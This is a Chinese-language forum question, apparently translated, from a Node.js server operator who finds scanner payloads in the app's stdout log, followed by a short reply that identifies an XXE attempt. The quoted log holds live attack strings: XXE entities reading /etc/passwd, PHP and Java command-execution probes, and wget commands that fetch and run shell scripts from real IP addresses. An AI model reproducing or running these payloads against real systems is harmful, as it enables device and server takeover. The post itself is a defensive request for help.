(编辑:原来“奇怪的行为”是由一个简单的疏忽来解释的。把这个问题留在这里以防其他人忽略它)
我希望我问这个问题是对的。
我有一个简单的 Web 服务器应用程序设置,它做的很少。它在专用的 Ubuntu 主机上运行。Node 应用程序通过 PM2 运行,而 PM2 通过 NGINX 运行。Apache 通过 NGINX 运行一个单独的服务器,其中包含 Web 应用程序的图片。
我将节点应用程序设置为通过 console.log() 函数将所有带有时间戳的 URL 请求打印到标准输出。它还打印“404 Page Returned”返回 404 页面。PM2 将其保存在日志中。
像这样:
Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /
当我将服务器上线的那一刻,它每天都充斥着可疑的请求(我假设这是正常的)。这些 URL 显然旨在利用不当的 URL 处理并尝试访问服务器上的敏感资源。日志通常如下所示:
Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin
404 Page Returned
我服务器上的所有请求都发送到节点应用程序,该应用程序仅检查整个 URL 是否与某个文本字符串和一系列 IF 语句匹配,如果不匹配,则返回 404。该应用程序未设置为直接提取资源以任何方式从 URL 获取,所以我认为这对于这些类型的攻击/清理是防弹的。
我对网络安全知之甚少,但我认为如果服务器存在弱点,那肯定是 Apache/NGINX 配置而不是我的 Node 应用程序。
但是,应用程序已开始将奇怪的文本记录到标准输出。没有时间戳。它没有说“Event.Server”。
(哎呀,事实证明这是不正确的:)我的应用程序不会记录任何内容,除非有一些其他文本解释它正在记录什么。
然而,现在我发现我的应用程序中到处都有类似这样的记录:
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first | <!ELEMENT name ANY >
0|first | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first | <Request>
0|first | <EMailAddress>aaaaa</EMailAddress>
0|first | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first | </Request>
0|first | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>
同样,这是在我的节点应用程序的标准输出日志中;它不是来自其他任何地方。从应用程序的设置方式来看,这对我来说似乎是不可能的,并且让我相信我的服务器可能已被入侵。
如果我需要提供其他信息,我绝对会。
如果这不是发布这个问题的好地方,如果有人在某个地方发表评论,我将非常感激。
我很茫然。我的问题是这样的:
我可能受到了损害吗?如果是这样,我需要做些什么来保护此服务器?
看起来有人正在尝试 XXE 漏洞利用 https://portswigger.net/web-security/xxe
编辑:第 8 行 45.147.77.236 的 IP 来自伊朗。
最后一行的 IP 来自名声不好的荷兰https://www.abuseipdb.com/check/203.159.80.188
如果您不与这些国家打交道,您绝对应该考虑 GeoIP 阻止,并确保您更新您的服务器,并可能获得 IPS。